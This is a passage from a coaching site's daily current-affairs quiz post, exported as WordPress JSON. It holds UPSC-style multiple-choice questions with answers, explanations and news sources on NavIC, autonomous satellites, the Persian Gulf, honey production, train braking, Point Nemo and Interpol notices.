{"id":2142,"date":"2025-05-29T03:58:52","date_gmt":"2025-05-29T03:58:52","guid":{"rendered":"https:\/\/iasquest.com\/?p=2142"},"modified":"2026-02-11T18:56:23","modified_gmt":"2026-02-11T18:56:23","slug":"daily-current-affairs-28-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-28-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 28-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to the Indian navigation system NavIC, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. It provides both Standard Positioning Service (SPS) for civilian users and Restricted Service (RS) for strategic users.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. It operates only in the L5 frequency band.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. It provides Position, Velocity, and Timing (PVT) services up to a range of 1500 km beyond the Indian landmass.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (b) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS: India\u2019s NavIC: The Precision Backbone Behind Operation Sindoor<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>During Operation, India used NavIC (Navigation with Indian Constellation) across several layers of combat operations such as Missile guidance, Drone navigation, Battle Damage Assessment, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>About Navigation with Indian Constellation (NavIC)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Developed by: Indian Space Research Organisation (ISRO)<\/li>\n\n\n\n<li>Former Name: Indian Regional Navigation Satellite System (IRNSS)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Purpose and Coverage:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>A regional navigation satellite system designed to provide accurate Position, Velocity, and Timing (PVT) information.<\/li>\n\n\n\n<li>Coverage extends over India and up to 1500 km beyond its geographical boundaries.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Satellite Constellation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">Total of 7 satellites in orbit:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>3 satellites in Geostationary Orbit (GEO)<\/li>\n\n\n\n<li>4 satellites in Inclined Geosynchronous Orbit (IGSO)<\/li>\n\n\n\n<li>Supported by a network of ground stations operating 24&#215;7.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Signal and Frequency:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">Operates in dual frequency bands:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>L5-band<\/li>\n\n\n\n<li>S-band<\/li>\n\n\n\n<li>The L5 signal is encrypted and reserved for military and strategic users.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Key Services:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Standard Positioning Service (SPS):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>Open to all civilian users.<\/li>\n\n\n\n<li>Provides accurate location-based services.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Restricted Service (RS):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>Encrypted signal for authorized users, primarily military and security agencies.<\/li>\n\n\n\n<li>Ensures secure and interference-resistant communication.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-30\">\n<li>Enhances India\u2019s strategic autonomy in navigation and positioning.<\/li>\n\n\n\n<li>Reduces dependence on foreign GNSS systems (like GPS, GLONASS, Galileo, BeiDou).<\/li>\n\n\n\n<li>Critical for military operations, disaster management, marine navigation, and civil aviation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><a href=\"https:\/\/ddnews.gov.in\/en\/indias-navic-the-precision-backbone-behind-operation-sindoor\/\" target=\"_blank\" rel=\"noopener\">https:\/\/ddnews.gov.in\/en\/indias-navic-the-precision-backbone-behind-operation-sindoor\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>2.Consider the following technologies:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">1. Artificial Intelligence<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">2. Machine Learning<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">3. Edge Computing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Which of the above are essential enablers for the development of autonomous satellite systems?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(a) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(c) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(d) 1,2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Answer: (d) 1,2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>In NEWS: The dawn of autonomous satellites and the legal vacuum above us<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>AI\u2019s ability to confer autonomy to satellites exposes gaps in the Outer Space Treaty 1967 and the Liability Convention of 1972<\/li>\n\n\n\n<li>AI is transforming satellites from passive observers into active, thinking machines<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>About Autonomous Satellites<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>These are satellites designed to perform their functions with <strong>minimal to no human intervention by utilizing a suite of advanced technologies<\/strong> and algorithms like Artificial Intelligence (AI).<\/li>\n\n\n\n<li>These technologies are transforming satellites from passive observers into active, thinking machines.<\/li>\n\n\n\n<li>The onboard intelligence is referred to as satellite edge computing and allows satellites to analyse their environment and make decisions.<\/li>\n\n\n\n<li><strong>AI, ML, and Edge Computing are central to autonomy<\/strong>\u2014especially for real-time data analysis and action onboard the satellite. <strong>Hence option (d) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Features of AI-Powered Satellites<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>Satellite edge computing enables onboard processing and decision-making.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Key capabilities:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li>Automated space operations (docking, refuelling, debris removal).<\/li>\n\n\n\n<li>Self-diagnosis and repair of faults.<\/li>\n\n\n\n<li>Route planning for orbital optimization.<\/li>\n\n\n\n<li>Real-time geospatial intelligence and disaster detection.<\/li>\n\n\n\n<li>Combat support, including threat identification and engagement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/the-dawn-of-autonomous-satellites-and-the-legal-vacuum-above-us\/article69620826.ece\/amp\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/sci-tech\/science\/the-dawn-of-autonomous-satellites-and-the-legal-vacuum-above-us\/article69620826.ece\/amp\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>3.Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">1. Iran<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">2. Oman<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">3. UAE<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">4. Qatar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">5. Bahrain<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">6. Yemen<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>How many of the above-mentioned countries share borders with the Persian Gulf?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(d) Only five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Answer: (d) Only five<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>In NEWS: Iran Slams Trump\u2019s Plan to Rename Persian Gulf as Cultural Attack<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li>US President Donald Trump\u2019s now-aborted move to rename the Persian Gulf as the \u2018Arabian Gulf\u2019 or \u2018Gulf of Arabia\u2019 stirred sharp condemnation from Iranian officials<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>About Persian Gulf<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>It is a shallow marginal sea of the Indian Ocean that lies between the Arabian Peninsula and southwestern Iran.<\/li>\n\n\n\n<li>It is bordered by Iran, Oman, <strong>UAE, Qatar, Bahrain, Saudi Arabia, Kuwait <\/strong>and Iraq. <strong>Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li>The small freshwater inflow into the gulf is mostly from the Tigris, Euphrates, and Karun rivers.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"439\" height=\"292\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-14.jpg\" alt=\"\" class=\"wp-image-2144\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-14.jpg 439w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-14-300x200.jpg 300w\" sizes=\"auto, (max-width: 439px) 100vw, 439px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><a href=\"https:\/\/www.newsonair.gov.in\/iran-slams-trumps-plan-to-rename-persian-gulf-as-cultural-attack\/#:~:text=US%20President%20Donald%20Trump&#039;s%20now,national%20identity%20and%20historical%20legacy.\" target=\"_blank\" rel=\"noopener\">https:\/\/www.newsonair.gov.in\/iran-slams-trumps-plan-to-rename-persian-gulf-as-cultural-attack\/#:~:text=US%20President%20Donald%20Trump&#8217;s%20now,national%20identity%20and%20historical%20legacy.<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>4.With respect to Honey Production In India, consider the following statements<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">1. India is the largest producer and exporter of honey in the world.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">2. Uttar Pradesh, West Bengal, Punjab, Bihar, Rajasthan are major honey producing States in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">3. India is home to five species of honeybees that are commercially important for apiculture<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Answer: (c) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>In NEWS: PM Modi says India among world\u2019s leading honey-producing countries<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Mr Modi noted a remarkable 60 per cent increase in honey production in the country.<\/li>\n\n\n\n<li>He also spoke about World Bee Day and the Honey Mission, citing the example of Korea district in Chhattisgarh as a success story in beekeeping.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>About Honey Production In India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>In the last 11 years honey production in India increased from 70,000\u201375,000 metric tonnes per year, to around 1.25 lakh metric tonnes (60% increase).<\/li>\n\n\n\n<li>India i<strong>s the 7th largest honey producer globally.<\/strong> China remains the top global producer and exporter, dominating both production volume and international trade. <strong>Hence statement 1 is incorrect<\/strong><\/li>\n\n\n\n<li>Areas of Production: Uttar Pradesh (17%), West Bengal (16%), Punjab (14%), Bihar (12%) and Rajasthan (9%). <strong>Hence statement 2 is correct<\/strong><\/li>\n\n\n\n<li>Major Export Destinations (2023-24) : U.S.A, UAE, Saudi Arabia, Qatar and Libya.<\/li>\n\n\n\n<li><strong>Five species of honeybees of c<\/strong>ommercial significance are found in India, contributing to apiculture, pollination, and honey production. <strong>Hence statement 3 is correct<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><a href=\"https:\/\/www.newsonair.gov.in\/pm-modi-says-india-among-worlds-leading-honey-producing-countries\/#:~:text=Prime%20Minister%20Narendra%20Modi%20has,honey%20production%20in%20the%20country.\" target=\"_blank\" rel=\"noopener\">https:\/\/www.newsonair.gov.in\/pm-modi-says-india-among-worlds-leading-honey-producing-countries\/#:~:text=Prime%20Minister%20Narendra%20Modi%20has,honey%20production%20in%20the%20country.<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>5.With reference to braking systems used in electric trains, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">1. In dynamic braking, the kinetic energy of the train is converted into electrical energy which is stored in onboard batteries for later use.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">2. Regenerative braking allows the electric motor to function as a generator, feeding electricity back into the power grid or distribution system.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">3. Regenerative braking contributes to overall energy efficiency and is considered an environmentally friendly technology.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>In NEWS: Siemens delivers India\u2019s first 9000 HP electric locomotive for long-haul freight trains<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-103\">\n<li>D9 \u2013 9000 HP electric locomotive, one of the most powerful freight locomotives in the world, from Indian Railways\u2019 advanced Dahod factory in Gujarat.<\/li>\n\n\n\n<li>Approximately 90% of the technologies deployed in the locomotives are made in India and this would lead to 800 million tonne of CO2 emissions being saved over lifecycle<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>About Braking systems used in electric trains<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Dynamic Braking (Conventional System):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>The train\u2019s electric motors act as generators, converting kinetic energy into electrical energy.<\/li>\n\n\n\n<li>This electrical energy<strong> is not reused; instead, it is converted into heat and dissipated through resistor banks. Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Energy is wasted, leading to lower overall efficiency.<\/li>\n\n\n\n<li>Increases brake wear and thermal load.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Regenerative Braking:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>The electric motors reverse current flow, functioning as generators.<\/li>\n\n\n\n<li>The generated electricity is fed back into the power grid or stored in batteries\/supercapacitors. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Results in energy recovery and improved efficiency. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Reduces carbon footprint and energy consumption.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Source<\/strong>:<\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/business\/siemens-delivers-indias-first-9000-hp-electric-locomotive-for-long-haul-freight-trains\/article69621439.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/business\/siemens-delivers-indias-first-9000-hp-electric-locomotive-for-long-haul-freight-trains\/article69621439.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">1. Point Nemo is the Oceanic Pole of Inaccessibility, the most remote location on Earth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">2. It is located in the north pacific gyre often called the desert of the ocean.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Select the correct answer using code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>News: INDIAN NAVY TO WELCOME NAVIKA SAGAR PARIKRAMA II CREW AFTER HISTORIC CIRCUMNAVIGATION<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-122\">\n<li>The Indian Navy is all set to welcome the triumphant crew of <strong>Navika Sagar Parikrama II<\/strong> on successful completion of circumnavigation of the Globe onboard <strong>Indian Naval Sailing Vessel Tarini (INS Tarini).<\/strong><\/li>\n\n\n\n<li>As the proud flag bearers of resurgent India, the crew members commenced their circumnavigation with port calls <strong>at Fremantle (Australia), Lyttleton (New Zealand), Port Stanley (Falkland Islands) and Cape Town (South Africa).<\/strong><\/li>\n\n\n\n<li><strong>Point Nemo <\/strong>coordinates of 48\u00b052.6\u2032S, 123\u00b023.6\u2032W in the<strong> South Pacific Ocean.<\/strong><\/li>\n\n\n\n<li>Nearest landmasses of this point are <strong>Pitcairn Islands (N), Easter Island (E), Antarctic Polar Front (S) \u2014 each ~<\/strong>2,688 km away.<\/li>\n\n\n\n<li>It is known as the<strong> \u201cOceanic Pole of Inaccessibility\u201d <em>due to its extreme remoteness and since it is the farthest point in the ocean from any land. Hence statement (1) is correct.<\/em><\/strong><\/li>\n\n\n\n<li><strong><em>Located in the South Pacific Gyre,<\/em><\/strong><em> an area with minimal human activity,<strong> often called the &#8220;desert of the ocean.&#8221; Hence statement (2) is incorrect.<\/strong><\/em><\/li>\n\n\n\n<li><strong>Link of this point with the International Space Station (ISS):<\/strong> The ISS frequently passes over Point Nemo.<\/li>\n\n\n\n<li><strong>Point Nemo i<\/strong>s popularly called as<strong> \u201cSpacecraft Graveyard<\/strong>\u201d and it is a key site for safe re-entry of space debris. Examples: Mir Space Station (Russia, 2001); Parts of Space Shuttle Columbia (USA).<strong> <em>Used as a designated area for re-entering decommissioned satellites and space debris safely.<\/em><\/strong><em>Helps reduce risks from space debris to populated areas and active satellites.<\/em><\/li>\n\n\n\n<li>Named \u201cPoint Nemo\u201d in the 1990s by Croatian geographer Hrvoje Juri\u0107. &#8220;Nemo&#8221; is a nod to Captain Nemo from Jules Verne\u2019s novel.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"606\" height=\"407\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-13.jpg\" alt=\"\" class=\"wp-image-2143\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-13.jpg 606w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-13-300x201.jpg 300w\" sizes=\"auto, (max-width: 606px) 100vw, 606px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2131664\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2131664<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>7. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>Red Notice<\/td><td>To seek the location and arrest of persons wanted for prosecution or to serve a sentence.<\/td><\/tr><tr><td>Black Notice<\/td><td>To seek information on unidentified bodies.<\/td><\/tr><tr><td>Orange Notice<\/td><td>To warn of an event, a person, an object or a process representing a serious and imminent threat to public safety.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>How many of the above pair(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(a) Only One<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong><em><u>News:<\/u><\/em><\/strong><strong><em> Interpol issues 2 silver notices to trace assets of criminals on India\u2019s request<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-134\">\n<li><strong>INTERPOL (International Criminal Police Organization) Notices are <em>international requests for cooperation or alerts allowing police in member countries to share critical crime-related information.<\/em><\/strong><\/li>\n\n\n\n<li>Notices are issued by the <em>General Secretariat at the request of a member country\u2019s INTERPOL National Central Bureau and are made available for all our member countries to consult in our Notices database<\/em>.<\/li>\n\n\n\n<li><strong><em>Notices can also be issued at the request of International Criminal Tribunals and the International Criminal Cour<\/em><\/strong>t to seek persons wanted for committing crimes within their jurisdiction, notably genocide, war crimes, and crimes against 